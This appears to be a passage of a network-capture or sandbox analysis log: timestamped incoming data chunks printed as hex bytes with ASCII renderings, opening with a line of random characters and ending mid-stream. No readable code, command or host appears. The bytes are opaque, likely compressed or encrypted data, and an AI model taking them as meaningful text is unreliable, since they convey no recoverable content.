62V5zHVI8Wj/q+!xWN'&` v>;v8V7f9ZU1i<LLT4XVK;yd$(Y+z<<v~U!_MNk1ld[rXSg&t@76w~-~2_UH+,uq\aZ((gg\y).b.O'
2021-12-28 04:19:41 UTC	3100	IN	Data Raw: b5 8d 8c 2f 3f 23 8e ae 17 f1 9e 2d db 45 59 c9 46 b8 1f 5e a4 03 78 c6 2c 76 c2 88 f2 3d 22 25 5d f4 b6 5e f0 3c 8e a4 46 dc f1 f1 fa bd 3a 94 b7 97 2a 0e ef e4 5d bf 46 ff 83 c7 4c 62 7c 23 4f 98 44 94 8f 3f e0 75 23 18 ed c0 1d f6 83 a0 6b 19 65 1d 47 41 f6 8b 9e b1 dd 34 14 23 c1 b3 bf ca 9d 21 4e 61 2c 61 95 ad d9 9b 96 e9 e9 2d 16 74 6c b3 9f bc 7a 87 3c 0e 5c 1c e1 20 31 89 d9 a6 68 70 f7 5b 2b 02 a8 52 94 64 26 e4 cf e4 a8 f1 a5 79 1b bf 01 50 b3 b7 fd 76 fb 38 72 24 92 96 31 26 9b 3d d3 24 f4 e2 8e 53 02 c2 c4 d1 48 dd 85 f5 a1 13 7f fb 03 ad fb 84 04 35 9c c4 d9 87 88 56 65 75 4c 6e 27 bf cd f2 11 40 ae 20 f8 40 de 67 df 97 59 af d7 5e fb 9c 5f fe 88 91 45 fb c6 48 d4 72 89 2a ab a6 0e c6 0c a4 80 21 aa 05 f2 73 2d 16 fb dc db 8e 62 16 ee e2 c0 Data Ascii: /?#-EYF^x,v="%]^<F:]FLb\|#OD?u#keGA4#!Na,a-tlz<\ 1hp[+Rd&yPv8r$1&=$SH5VeuLn'@ @gY^_EHr!s-b
2021-12-28 04:19:41 UTC	3116	IN	Data Raw: ab 29 cc e0 d4 df 77 0b 11 0d 7b 7c fc ca 6a 29 8f b9 23 e0 d2 4e e0 90 a1 10 37 47 65 48 be 27 b6 6b 50 b3 9e 7b ff 95 fd bb cd c5 f6 71 39 08 48 9e 9a c9 77 5a c7 61 c3 20 eb fc fd 7e 61 7e f5 a4 06 2a 88 f0 56 b2 5f 78 73 f5 e1 19 e9 c3 0c f6 48 1d 13 09 36 93 f2 39 98 b0 f6 88 81 13 67 07 f3 8b 76 d4 d6 39 1a 66 63 35 ab 66 fa 50 ca e6 ea 83 3c 2d 13 ff c8 48 81 c7 71 d9 e9 d7 b3 d1 1c cb 1c 0a 8c ec 43 39 8f a2 04 a6 d4 3c 8c 84 48 0a 03 f5 0b 34 e9 c9 71 f6 6f 63 96 5a a2 01 cf eb 49 f7 cf ba f2 8c f6 70 6f 65 9d 77 21 4f 93 b4 4e 4b 17 78 4c 60 c1 78 87 d4 cd a0 e5 cb 01 18 5e e8 bc 6e b5 a5 47 c8 dd ee d1 35 bf 23 f6 65 84 1b 0e d2 6c 54 61 f7 98 5d 9e 84 b6 bc c4 61 92 46 c7 7f c5 ad 27 af a0 58 2a 01 cc 7d 58 77 66 d8 d7 38 10 d4 6e ac 82 52 0a Data Ascii: )w{\|j)#N7GeH'kP{q9HwZa ~a~V_xsH69gv9fc5fP<-HqC9<H4qocZIpoew!ONKxL`x^nG5#elTa]aF'X}Xwf8nR
2021-12-28 04:19:41 UTC	3132	IN	Data Raw: d1 c2 49 c5 21 dd cc 78 3a 9b 56 ef 8d 9c b0 b2 34 c2 b3 3a 66 95 ba 62 78 f8 68 1b 45 47 6d e6 0d a9 b9 69 40 f7 b8 22 fc 87 1a 31 ee cd 10 46 e5 f2 94 d7 9a cc cf aa 32 d5 75 93 b8 11 e4 b0 8c 70 f8 cb b6 6f 06 50 ab e1 27 53 e6 5a 6c 18 9e ce 7b 7f b0 43 9b f8 57 23 2b 8e 21 66 e1 3f fa 62 bb cb ca 7a b6 73 58 14 48 50 fd 2e 41 21 33 a4 8b b1 22 d8 bf 19 f3 95 1b ab 08 9c 99 87 3b 16 4d f7 49 46 b7 3e 3a 7d c5 c9 db 28 02 19 fe e4 3d 28 13 c0 d4 36 a0 f7 cc 54 fd d0 00 3f 77 75 34 86 65 df 6e 3e cc 99 d3 4b 84 7e ec 7d 00 4f 3e 9c d0 b0 b0 fd 8e bf 97 8f bd ee 25 3d eb d2 95 c7 0e b6 ff 3f a6 25 20 c4 7b 3b cf 7b 4e 67 98 d5 65 a4 65 96 71 db 5c 62 f7 41 bd 19 8b 7f 46 6b bc ea 5e 1c 3e 7b 2a b4 1d ca a1 38 d5 e3 ef 4e 10 2f 4f fd 4f e0 6f 98 d5 52 4c Data Ascii: I!x:V4:fbxhEGmi@"1F2upoP'SZl{CW#+!f?bzsXHP.A!3";MIF>:}(=(6T?wu4en>K~}O>%=?% {;{Ngeeq\bAFk^>{*8N/OOoRL
2021-12-28 04:19:41 UTC	3148	IN	Data Raw: 37 77 93 bb b7 5c 68 9b 13 ad b0 11 66 80 06 f3 f4 6d 27 f6 96 32 50 d3 0b fc 57 ef 8f 64 77 1d 1d 7c 1e 32 10 f2 e6 5e 16 83 06 c0 52 d5 97 30 72 d5 a7 72 73 36 66 3b 69 4e b4 3c 10 b1 ce 74 49 f7 ee db ac 14 59 1d 68 82 3b ee ac 5b 69 85 c3 5d a8 f7 49 68 e4 8e d1 ee fa 78 a9 04 8d a9 79 d9 51 8d d2 03 5c 18 b0 b7 23 f7 a5 50 55 e3 bc 99 e8 e6 22 a6 e8 96 38 d8 22 40 15 36 ca 03 d6 81 02 6a 78 2b e6 0e 46 e1 b6 29 13 d1 a3 7b 9a fa 3d 9e 08 bb 44 08 ca 88 f3 b2 0f 49 42 66 f8 ca 52 6d 44 f6 8c b1 db de 10 dd 03 09 0a 7b 26 fb bb 7f 8e ac 59 ba a0 f5 ec 37 99 34 0f 9d 77 47 66 c1 70 62 c0 9a e7 1e 33 d4 84 7c 1e 96 4f 33 77 78 bb b8 2b fe e7 cd 9e f4 86 22 10 22 39 4d b9 2d 6c a8 9e 44 ff 3b 33 9c 42 86 b8 cc 67 c6 ee 67 35 f9 23 09 ea 91 f9 08 50 5c 4d Data Ascii: 7w\hfm'2PWdw\|2^R0rrs6f;iN<tIYh;[i]IhxyQ\#PU"8"@6jx+F){=DIBfRmD{&Y74wGfpb3\|O3wx+""9M-lD;3Bgg5#P\M
2021-12-28 04:19:41 UTC	3164	IN	Data Raw: 65 b7 8b 29 3b 01 72 0c 09 f3 a6 c5 12 03 35 61 56 97 c2 91 7d 89 76 6b 17 d2 81 70 5d ca 54 67 7b 56 3a de 47 eb b9 4b 33 90 87 33 e3 03 0d 8b 8b d8 d2 da ee 58 e5 26 27 3f 9d 18 9f e4 77 48 1f 56 4e e7 2a 62 60 fb 67 dd 97 a4 d5 46 4b 4a ab a1 21 68 b5 63 b3 81 b7 15 16 46 37 8e f8 ad 7c b4 57 fe 79 7a af b1 06 8f 42 13 87 81 41 43 ee 8d b7 7e 09 95 87 7d 79 8e 3c a7 a7 22 5c cc f7 0b 1b 6d af 2a 9b 11 75 10 80 ef 6a e5 20 73 05 f1 7f 6a d0 84 36 8b 24 b7 0a 9f 4b 39 cd e2 4e e7 25 28 12 3d 92 ba 31 ae 9d 25 4d 1d bc a0 90 f3 9f 6a 8b f8 b7 fb 12 b6 fe 18 43 63 09 f0 74 42 4c ca c7 10 ad 40 39 6e 3b 3a 88 9f 24 2d f5 43 22 b6 99 f1 2a e4 c2 a9 5d 64 48 35 1b ea 8d 5e d6 b9 16 e9 bf 05 11 36 de fc 99 b8 b6 fd 90 f3 6f fd 5a 8e df 10 54 af 24 ce 6b 15 8f Data Ascii: e);r5aV}vkp]Tg{V:GK33X&'?wHVNb`gFKJ!hcF7\|WyzBAC~}y<"\muj sj6$K9N%(=1%MjCctBL@9n;:$-C"*]dH5^6oZT$k
2021-12-28 04:19:41 UTC	3180	IN	Data Raw: 8f 96 f6 40 01 da 56 a3 33 8b 47 70 f9 20 61 c9 21 d5 bd f4 c4 2e b7 10 cc 3c 47 79 cd b3 1e 57 26 d1 69 57 5b 47 44 60 6c 9d 7b 24 2d d9 55 dd bd 54 46 08 78 86 12 ff cb 1d 29 9f 76 41 e0 c0 db 57 1d 5c 1a fa 87 b2 7e a1 3b 8e 67 ed 0b 19 f1 87 6c 49 7b ae 85 58 c7 c5 fe da ee 71 0e 71 3d ac 9e c5 64 4e 0e fc b3 a9 7a be d8 2b 43 32 e6 0c 10 ab e6 82 cd 4a 2a 97 66 df eb 89 e2 01 1d cc aa 7e 5f 1d 44 d3 8c 89 ab cb e0 fb e5 f4 cb ca 91 23 8b ef 8e 1e 1b 1f 81 81 8b 99 18 15 21 0b 5a e5 93 6b 69 55 45 f5 4b 3d d8 09 49 e5 ad 88 58 7d d2 77 c3 7d 61 bf 64 cb 24 b5 63 0f d4 f6 f5 6d 6c ed a1 82 5a d6 c9 19 d0 18 c5 64 88 69 69 87 b4 ad 51 4b 45 95 70 88 eb 4b 17 40 f4 99 24 18 80 08 c0 e7 da be 4d 59 07 80 86 ef 3d a7 62 19 63 18 c0 0e ee 10 cb 9a 48 5e c3 Data Ascii: @V3Gp a!.<GyW&iW[GD`l{$-UTFx)vAW\~;glI{Xqq=dNz+C2J*f~_D#!ZkiUEK=IX}w}ad$cmlZdiiQKEpK@$MY=bcH^
2021-12-28 04:19:41 UTC	3196	IN	Data Raw: a5 3b 1f 53 63 4f 90 8c 2c 17 14 cf 64 67 03 ec c5 da c1 87 49 7f 18 2c c3 1f 82 4f d1 db b4 bd 89 34 7b cd 12 7f c7 62 09 b7 e0 8f 6f e9 78 b4 35 8b b1 99 ac 10 ef b2 d4 70 91 bd bf 9d 4e 69 5c d6 b0 97 1e 5f 7a 23 ed eb d1 f9 ab ab f9 af 2e 3f f3 2e 98 1f a1 86 ea 17 6c e9 18 5b 0e 03 3f 79 44 09 6f 6c 4d 88 04 5d dc 4c 95 eb f1 0e 3e 58 76 b3 da 72 a7 83 c7 f5 c1 fb 6b cb 1a 7f c5 41 93 9d 26 15 1a 24 f6 05 2a bb cb 26 b7 f3 9f 47 5e 92 0c 7a 23 86 2e 77 0f d7 c9 7e 04 f7 d8 d2 a1 6c 3b 9a 0b 97 b4 1d af 8a 7c 16 7f fb 43 04 0f b4 e2 7a 7a 82 72 02 fa 79 4a af 06 67 7a 6d 17 36 35 33 a9 de d1 0a c0 d4 fa b8 d5 c7 a4 e9 07 85 86 62 d0 8b 42 63 1f ef 80 19 d5 82 22 4d 46 1b 37 b3 39 d7 a1 d8 04 6b cd 8e f1 97 c9 33 0d 32 11 42 bf dd 22 8f 49 e8 7d 73 a1 Data Ascii: ;ScO,dgI,O4{box5pNi\_z#.?.l[?yDolM]L>XvrkA&$*&G^z#.w~l;\|CzzryJgzm653bBc"MF79k32B"I}s
2021-12-28 04:19:41 UTC	3212	IN	Data Raw: 10 48 37 98 a0 6d 4b 5e 82 a4 23 62 d4 ff 11 ce 15 6d 8e 3a a4 3b 3e e0 15 82 6d 23 29 e8 83 85 4a c3 6f e9 2a b1 c1 e8 01 dc 62 77 06 7f dd da 44 0a 07 d9 ac 9c 95 68 96 5a 8c d2 6f f4 68 f2 94 b9 c1 43 a8 f1 22 86 ba b5 69 05 f9 8c 6e 79 bf de 76 53 79 54 db b8 45 85 5f 89 11 cb af b6 ef cf 94 17 5c 12 d4 3a e7 52 f1 fa 82 90 d8 11 b0 57 98 e8 1e 10 4b 1d c8 94 36 16 07 2c 60 54 77 b7 37 4f af 48 c0 20 8f 81 a8 9a d0 0d 87 62 44 23 8e 31 5c d4 10 67 24 cb a0 df 3b eb 16 1f 4f 7f 2f 42 39 c8 5d 96 db 40 00 5e f8 f3 64 f6 6a e4 80 cb 0e d1 e6 4e 94 02 38 0f 87 e6 53 af 22 71 b7 e8 6d d0 d2 f6 3d cf a5 d7 ee d1 cb d6 04 1a 6c 70 6c 8b 1e 5b d4 04 21 19 e1 a0 d4 88 73 ac bf 3b a7 93 91 c8 09 64 ec 30 72 e3 1b 4d 65 e4 6b a8 87 17 93 fe 3e 8c 2e 15 53 c1 63 Data Ascii: H7mK^#bm:;>m#)Jo*bwDhZohC"inyvSyTE_\:RWK6,`Tw7OH bD#1\g$;O/B9]@^djN8S"qm=lpl[!s;d0rMek>.Sc
2021-12-28 04:19:41 UTC	3228	IN	Data Raw: 4f 0c 4e ff 41 8d c2 e2 3e e7 ba 82 3f c4 12 44 da bc 85 15 42 dc f9 0e b5 27 14 2a a8 6e 0e a8 88 21 b4 83 5d 8b f4 34 35 36 1f ba e8 ae 07 c9 5c dd 95 6d b2 b3 5a 6c 2b 95 a8 f4 d2 96 66 90 58 e2 9a b6 82 be b9 95 5e 88 f9 bd 3c 37 43 6c 6a 79 5a e6 33 86 d7 67 93 50 76 a3 23 95 fc ef 8f 06 d3 a5 28 14 45 fe ba 04 3c ac 6a 5c 72 28 59 87 99 1a 99 92 a8 12 29 cf 6d e2 75 cb 03 e4 5c 69 e1 a6 93 aa 56 34 aa 28 66 df b9 72 5d 45 11 34 2b a2 47 44 60 6d af e8 32 d6 d7 ec f0 61 f9 28 69 be 35 01 3b 8a ac 2c 55 5e 8d 61 7e b5 b0 d0 9a 5a 99 ac a0 c1 c0 6a fd 17 5c 0e 3e ae 1a 5c 3a c3 9e 5d 1d 10 4d 3b 27 70 e7 17 94 ec 75 93 5c 9e 98 0e a6 f5 e0 b2 df ca 93 5d f5 81 7b 2b 29 8c 7a 63 5b b8 1d 98 4c 67 66 5b f1 1b 94 e1 5f 03 d4 18 e9 cc e7 2a 20 c7 ac 81 a8 Data Ascii: ONA>?DB'n!]456\mZl+fX^<7CljyZ3gPv#(E<j\r(Y)mu\iV4(fr]E4+GD`m2a(i5;,U^a~Zj\>\:]M;'pu\]{+)zc[Lgf[_
2021-12-28 04:19:41 UTC	3244	IN	Data Raw: 13 d3 5e 11 74 81 20 2a 30 d3 67 7b 5b 6b eb 58 fc 83 fd cd 30 62 2a 55 95 09 e2 a7 5c ea ee ad 29 28 2d 42 42 b3 d6 67 75 08 76 10 ba 08 c1 34 4a a8 66 26 76 d2 a8 fd 1c e4 3b 03 be 74 68 a4 ae 39 01 21 ef ac 08 a4 ea 18 62 aa b0 e3 09 45 0f 3e 71 ab 1b 01 b3 73 9d ad 53 3e 88 36 7b 76 aa e1 43 91 a1 c2 c7 b4 56 49 71 ed 08 e3 94 7c 38 c5 8e 06 7e fc 7d 1d a1 0b d1 0b 4e 47 0b d5 39 98 34 ed 79 52 a0 4b 16 c4 d5 84 3f 82 eb af d7 07 be 8f 69 c1 11 56 c0 e6 d9 ac 6c fa fb 6f b9 91 d1 d7 66 c3 ed 1d b7 c5 c4 f4 60 43 61 24 ab 4b 67 85 55 a7 db 18 2b a8 d2 49 ce 65 2c 5c 8b 6c 7c c0 da 8c 09 79 e8 9c 59 97 5b 81 ea 8f b9 cf b8 16 f7 7b 5a cb ad a2 eb 8c bb ed 44 11 12 0c ea 73 68 6c 98 bc 63 73 52 56 30 eb ca e2 e0 f4 6c 44 1c ba 1f 6b f5 68 35 96 53 c9 11 Data Ascii: ^t 0g{[kX0bU\)(-BBguv4Jf&v;th9!bE>qsS>6{vCVIq\|8~}NG94yRK?iVlof`Ca$KgU+Ie,\l\|yY[{ZDshlcsRV0lDkh5S
2021-12-28 04:19:41 UTC	3260	IN	Data Raw: 99 5c 68 b0 c6 b5 04 b1 08 61 a1 1b b6 ac 11 77 74 5f 36 a1 06 c3 1f 66 1a 43 d8 e5 19 b4 83 0d a4 61 d3 9a bb 1e 92 ec f2 db ba da 9e 40 57 ba 42 03 82 35 9a 47 1e f0 cd df d2 d2 48 b3 a8 db ab 1f 66 e3 42 e9 42 be f3 3a 44 d3 94 47 0c ae 31 48 7c 22 e0 7b 3a 9c 95 93 da fd 86 77 0b 22 38 38 31 26 5a 64 44 98 21 aa ec 26 50 29 d3 e8 f3 0f ca 99 c5 40 b2 21 2f f9 38 63 3c ad d8 0b 9e 8a 54 28 e3 ff 13 0b 6b 85 57 74 1f 04 f5 b8 08 2b d4 18 76 d5 3c 6a 94 c5 ee 97 cb 94 eb e2 40 8a 4b e4 2f eb 57 59 81 bf 57 65 4d 9e cf 43 ec 4b 62 8c d6 b4 46 cd fd 5f fe ef bf 31 e6 b2 af 00 05 56 8d df 0d be c3 1e 39 63 5d ac a1 cf 3c 68 36 51 05 d3 e6 dd aa d1 8f 08 09 60 e9 55 a8 54 a3 3b 7e 62 50 de 7e 9a a3 22 49 37 d0 b9 72 51 dd 65 55 b8 b5 f3 61 03 95 74 17 00 62 Data Ascii: \hawt_6fCa@WB5GHfBB:DG1H\|"{:w"881&ZdD!&P)@!/8c<T(kWt+v<j@K/WYWeMCKbF_1V9c]<h6Q`UT;~bP~"I7rQeUatb
2021-12-28 04:19:41 UTC	3276	IN	Data Raw: 02 87 ba d0 ae ac cd fc 0d 5a 95 39 fc f8 bf 97 0f c8 94 8e 78 d2 33 d8 96 f1 9d a8 6f 20 a3 7d e7 09 7e 8e b5 78 9d 1d ac 7b ff 1f ab f2 24 fe 3b 81 66 d8 97 05 4f 1a 5d 51 9e aa 8b 00 fc fc f0 9c 5f 26 e9 3b 58 7e 37 d7 7f a5 b0 f3 e5 75 9c 59 90 4b 41 e8 bf 32 5a ed d3 85 3f ed 2a 3f 5c f7 4a 12 1a b0 43 65 2d 61 cf b2 ec 17 79 50 36 ca ce 2b 0f 5a 25 ee 26 c0 24 8f a8 df 74 40 fa 29 c1 6e 44 30 62 31 9c a4 c6 fa 85 45 76 72 7e fc 2b f5 09 80 1a fc aa 63 0a dc b3 52 dd cc 64 4d 33 47 32 d2 01 8d 01 0e 71 bb 95 7e b8 f4 3d 0b 4f 3b e8 a3 73 31 44 98 73 ac 9f 75 79 1f 08 5e 88 ef e7 af 4a 41 32 ca d2 11 99 24 66 d2 79 83 0c 8c bb 8c cf b2 17 ab 1c e1 9b 8d bd 30 1f 6b 37 30 a3 d5 9b ae 65 80 83 fe 67 ec 34 27 95 b8 14 b0 01 e7 2f ed 3f b3 57 c9 25 21 06 Data Ascii: Z9x3o }~x{$;fO]Q_&;X~7uYKA2Z?*?\JCe-ayP6+Z%&$t@)nD0b1Evr~+cRdM3G2q~=O;s1Dsuy^JA2$fy0k70eg4'/?W%!
2021-12-28 04:19:41 UTC	3292	IN	Data Raw: 57 01 98 40 6a 95 cb 59 78 a2 58 10 5b e7 5a e2 97 70 5b 0e 8d 9f a5 84 96 13 71 54 51 33 59 71 2d 21 39 a3 8a 21 f7 71 ca 9b 1f a0 32 12 f2 b3 46 f5 c2 21 2c a0 d6 0f f5 e0 76 a9 10 c4 1a a0 4c 10 84 e7 8a e1 a3 87 e8 93 44 4e 0c 89 d7 d5 c9 df fc 74 1c 65 fb b6 f5 44 4c e7 81 25 c5 45 8b 3a 28 6f 9f f5 c9 cf bd c0 8e 3b af 1b bd 4b b3 e9 4f e5 2b fc cf 3f c8 2e 02 50 2f 8a cf d7 19 4d d4 3c 39 79 d2 4f 6f 01 66 d7 de c6 37 f9 6c 80 1b 69 f5 de 02 eb 8d 1e f8 5e 93 50 73 de 7f 27 7e 43 ad a5 6d a5 79 f4 c9 7f 2c 30 e7 a8 3a 15 7f d0 e3 00 63 ac a8 44 ea be a3 85 59 f4 9c 8d a8 6f 39 0d 1d df 1f 29 61 5d a8 55 59 9d 9a 06 23 b3 89 34 b5 53 ed e2 49 4b ee ae f9 50 90 d8 a3 35 0a b4 22 20 b1 f5 b1 b3 01 1c 3e f6 08 1e 8d 38 d8 bb 33 60 b8 4c b6 55 52 da 0c Data Ascii: W@jYxX[Zp[qTQ3Yq-!9!q2F!,vLDNteDL%E:(o;KO+?.P/M<9yOof7li^Ps'~Cmy,0:cDYo9)a]UY#4SIKP5" >83`LUR
2021-12-28 04:19:41 UTC	3308	IN	Data Raw: 24 1a e1 b8 f2 45 7b 31 88 43 c5 bc f9 97 e3 5b 20 40 d5 34 95 f4 20 21 06 3b fb b5 c6 c4 a8 53 41 1b be fe a5 44 75 88 b1 e8 43 f1 43 cc cc 45 66 1b c2 f7 cc cf ec 91 0e 1e cc d9 e5 40 38 dd e0 5c 22 29 86 47 9f 31 07 31 c7 72 40 b3 94 b7 74 a4 83 98 f1 9f 38 09 36 c5 0b ce 7e a0 67 55 7b 2c f1 3f 1d ef 93 08 b9 ef 5e 7a 9b cc b9 1a 95 7d ca 92 51 7c 31 ba 2c 9a 4e d9 ce 5c 4c a5 88 5d 48 e5 60 06 6a 60 d0 6c 56 c2 b9 45 44 a4 e1 fb 4f 0c 4b e4 48 92 87 dc 70 0a be 75 ad 54 1e 50 a9 45 eb f8 aa 9e 15 fe e2 12 a2 88 b8 93 9f dc 5c b2 6e b2 cc d4 f0 44 e1 5e 93 8e a5 c8 71 53 b9 d9 ab 16 e7 f1 5c da c7 f4 f3 3d 20 e6 14 63 38 e1 07 15 5e a2 87 77 e9 8c 0d 85 37 eb de ab 5a 1c c2 df 14 6b 06 70 7e 33 4f 6e c3 02 28 59 b7 3c 79 58 0d f2 87 e2 5b d4 23 78 f0 Data Ascii: $E{1C[ @4 !;SADuCCEf@8\")G11r@t86~gU{,?^z}Q\|1,N\L]H`j`lVEDOKHpuTPE\nD^qS\= c8^w7Zkp~3On(Y<yX[#x
2021-12-28 04:19:41 UTC	3324	IN	Data Raw: fa bf ea 3f 95 c7 8e c2 11 d8 32 42 3a 92 02 dd 01 f7 0d 83 84 72 4f 7e 81 0a b9 3d d7 92 f5 ca a1 dd bb 75 fe 4a 3d 05 f9 9e 76 6f 8e 20 c1 e6 c9 89 d2 68 64 ae b9 57 4c cf b7 3f ac 1e 78 00 2e 74 d3 7c 38 97 d3 1d 0f b5 c3 81 62 dd 15 b9 0f 54 f8 14 29 bb be 7d da 53 45 39 c0 c9 99 6f f0 db 06 03 b2 61 1d b3 38 44 7c 33 e4 53 48 6e 57 38 a9 43 35 31 fb 57 38 da ad 3f 12 15 b9 2d c0 06 2c 88 9b 16 22 a9 7a e8 2d 49 ee e3 74 83 c9 2e 66 9d c8 5d 8e c8 e5 e9 9a 23 60 03 2a 4c bb 79 a0 e8 20 63 ce 8a f9 69 35 2d ef d9 59 0d ef 8e 4b 35 61 25 55 17 d4 c5 8c bf c2 44 ba 92 9e d4 69 73 97 b4 be e0 af ae 8f 3c a6 d0 89 2b 15 21 6e f4 c0 66 e6 71 22 95 cb cd 13 f6 4c b0 ff 34 4a fe 4f b1 f8 7a 73 3e 8f 6a a5 08 f5 8b 4a 81 86 d5 14 b2 21 fe 0b 71 42 80 47 73 66 Data Ascii: ?2B:rO~=uJ=vo hdWL?x.t\|8bT)}SE9oa8D\|3SHnW8C51W8?-,"z-It.f]#`*Ly ci5-YK5a%UDis<+!nfq"L4JOzs>jJ!qBGsf
2021-12-28 04:19:41 UTC	3340	IN	Data Raw: fb 9d f7 81 3f f5 ed 3b e3 bc 00 e2 68 ea d4 67 71 6b 4b 1f 69 3f 93 61 d2 3e d4 d1 73 68 32 91 f2 3f 35 ea 78 b9 04 b7 cf 3f c7 d3 38 1f 8a 56 bb 19 3b f5 98 de bf 99 3d 49 28 71 b4 5d ed 77 40 0e 5c 25 85 c8 7e 81 f8 86 1f 5c 79 5d c2 0e 62 c4 e7 0f dd 9c a7 21 da 8d bb 83 1b 05 fa 67 b4 ce 9d f6 ef b7 bd ed c8 e8 5e 18 31 97 ac 05 30 b0 1d eb 07 80 61 04 93 a2 cf b8 11 87 a6 c1 be 39 e3 62 4e c7 2d b9 02 7c fd 7a 4a 06 62 48 ee 90 20 ea 60 2a 84 f7 bd 2f e5 e9 e0 44 a7 0f b1 81 13 a2 a3 42 16 8d 84 18 ba ae 17 5b 3f 4a a3 44 e2 b0 88 15 fc 0b f3 d9 d4 76 89 45 23 e9 35 47 da 0a 6d 4d e8 ba cb 8c 8f 08 0e 3a 48 06 f6 84 fe 17 7f e0 94 b1 f7 ff 8f ef e1 f9 43 48 2d 84 17 d0 90 13 1e e3 9e bd 42 07 bf 10 f6 a8 52 09 c8 72 8d 38 57 81 e1 9f d6 9a 2d a1 2d Data Ascii: ?;hgqkKi?a>sh2?5x?8V;=I(q]w@\%~\y]b!g^10a9bN-\|zJbH `*/DB[?JDvE#5GmM:HCH-BRr8W--
2021-12-28 04:19:41 UTC	3356	IN	Data Raw: e1 5b d8 e2 02 9d 2e 71 98 3a 5f 43 11 95 8b e8 64 f5 db 0d ae c8 0c 7a ad 13 72 1c 9c 33 34 67 85 fe 91 9f 59 b3 13 7a ab c6 0a 92 41 3a 61 36 2c 0e 42 78 7c 2d 19 5b b3 e6 85 a7 b0 26 cc 99 34 72 99 a3 2f 05 9b cc 33 ce 66 85 c8 6c 7f ef 56 5a 3c 91 75 2e 6c 5b f5 aa 62 3b 5a 26 1f 1e 14 19 5e 9d 3b 26 48 c9 e7 b7 e8 89 5f 1c fb ac 40 7e ba 2a c2 bd 50 88 84 52 cf 5e 5d b4 d6 7a 60 e0 18 c1 1d fc c8 16 d2 fd 6f be 09 29 b4 1c 0a 4f 59 d3 2c 89 ab 00 7a 7e ff 1c c2 40 32 4e aa 07 dd 63 ac 25 72 32 90 61 9b b4 fa 4d a6 15 73 1b 58 88 3b e0 0a 40 ef 6e 4c 17 6d 80 41 36 0c bd c1 d0 24 eb 2b d0 1c ce f6 02 b4 4c f1 1d ca 95 50 89 33 ac d4 f4 fa 02 d4 28 22 b5 55 1e d9 52 c8 65 91 7b 0c e3 a3 05 1c 72 19 b0 19 20 60 1f 41 30 85 8f 09 c8 29 8b 5b 94 64 db b7 Data Ascii: [.q:_Cdzr34gYzA:a6,Bx\|-[&4r/3flVZ<u.l[b;Z&^;&H_@~*PR^]z`o)OY,z~@2Nc%r2aMsX;@nLmA6$+LP3("URe{r `A0)[d
2021-12-28 04:19:41 UTC	3372	IN	Data Raw: 10 f0 92 de ad a5 22 8a 2f ac 49 e7 64 0d a3 1f 48 d6 ad 0a 68 09 41 68 26 10 4b 6a 88 d1 75 44 f0 cd 16 6f 91 6f 24 9a 93 15 04 b2 81 55 91 b0 dc 6b 2c 2c 7c 3c d0 af 3f c9 9e bb f3 b0 79 f7 0c 90 20 4b e2 19 ea 5c 7e b1 fc b8 4d ea aa 90 d3 6a 42 2e c5 31 d4 66 33 1d b4 8b 1e d1 10 6d 77 dd d5 1e 89 80 9f 5b 03 45 7f 72 ac fe f8 6c 03 30 11 e2 94 ce bc c5 db 94 bf 26 40 bd 65 17 29 73 b3 df 1a 44 8d 24 a2 36 7f ee f9 bd c2 a4 6d bb 2c d9 3b 58 f7 2a 9a 3d 29 5f 32 74 78 7d 60 3d 78 1c 24 a6 e7 11 b8 dc 83 8e 6b 60 c3 d4 8c 07 99 67 a7 7d 7b e3 14 aa 6b 4c 41 6c a6 a9 14 4f f5 4a 73 50 58 23 df d5 ed db 44 e3 16 aa e5 96 f4 b1 59 d7 04 b0 f6 f6 52 c6 ad 9a 50 6c 18 b3 71 50 61 70 d5 b5 96 23 71 bf 36 18 7f ff 20 cf aa 45 59 55 c7 01 ce af 0a bc db 96 f0 Data Ascii: "/IdHhAh&KjuDoo$Uk,,\|<?y K\~MjB.1f3mw[Erl0&@e)sD$6m,;X*=)_2tx}`=x$k`g}{kLAlOJsPX#DYRPlqPap#q6 EYU
2021-12-28 04:19:41 UTC	3388	IN	Data Raw: 09 b2 f3 0e 1a c2 74 4d 7b d4 a5 1e cc 37 a4 59 c7 38 d0 5f 9a 97 76 a0 95 73 13 9c db be f0 92 b1 d0 6d 16 94 08 d5 7e d0 8c 70 09 98 22 68 8e 3a c0 28 29 38 dd 51 2b b6 40 28 b1 84 2e a1 2b 4f f6 b1 4b fa c7 ab 32 bf 18 f2 d5 58 d7 7a b5 4c 7b b5 2d e5 fe 0a 84 9d 7d 2f cf bf 59 60 21 b7 85 da 2f 25 d3 d3 6a 68 07 f4 ae d6 c6 de 96 dc 92 be 6b ab e1 fb 9b 97 39 3c 75 74 cd 30 9e 3f a3 34 7b 20 2d bf 6d 20 69 44 5b ba ea 0a df a4 f0 65 3f 7e 32 8d ad 39 a3 1a 0d 27 ac 6a ab 2c f4 be da ec 64 ed 9b fd 3b 44 45 43 1c e9 30 99 85 77 28 3f c5 e7 ec 6c a0 30 ca 6b 3b bd df 7c 6a c8 25 86 ce d6 d8 79 cc 28 ce da 8d a5 01 a0 7a bd 5a 17 af 93 b1 8d 28 7b 89 d5 7c 3c a6 43 ed f6 d9 95 9f 7d 53 f9 5c fd bb aa 8a 5e 80 9d 17 1b 65 39 7e 03 fb f8 9a 6f 78 2b 7a 90 Data Ascii: tM{7Y8_vsm~p"h:()8Q+@(.+OK2XzL{-}/Y`!/%jhk9<ut0?4{ -m iD[e?~29'j,d;DEC0w(?l0k;\|j%y(zZ({\|<C}S\^e9~ox+z
2021-12-28 04:19:41 UTC	3404	IN	Data Raw: 1b 47 60 db ed f5 d2 ad 59 93 e6 c6 0c 17 10 8f fe 97 ae d1 06 b4 3a 0f 55 03 96 b1 70 bf 17 a3 6a 5b 8b 30 fc 9f 31 16 d9 a3 79 b1 7e f8 25 4d ab 8c 15 c7 1a 2f da f7 d4 58 9a c2 01 5f 40 fa 07 df fa 3e 6a 72 8a c8 ec 31 bd 87 3d d9 3b 33 16 74 8a b2 96 de a2 05 a2 a6 b2 6b aa 48 ef fe 49 71 da 94 95 b2 6d c7 20 30 02 53 e8 7a 7a 6a 98 e5 f2 34 e4 01 7c 9e 71 af 76 fb 29 30 be 18 fb fa f8 31 99 21 9c 4b 6c 87 35 1c 75 be a9 ab 25 f6 9c a0 ff 18 1f d0 ef 5c 22 c4 7e cc 06 77 e3 aa 6e 0a c3 de 3e 46 ba dc ac f0 9d be fb 82 2d 00 f6 c3 94 a6 b6 de 05 0b 9c 1d b5 7c 1a 30 ae 78 37 c1 67 b8 08 01 2e 58 e8 80 9c b1 17 c6 f4 3f 35 c0 a7 00 78 5e 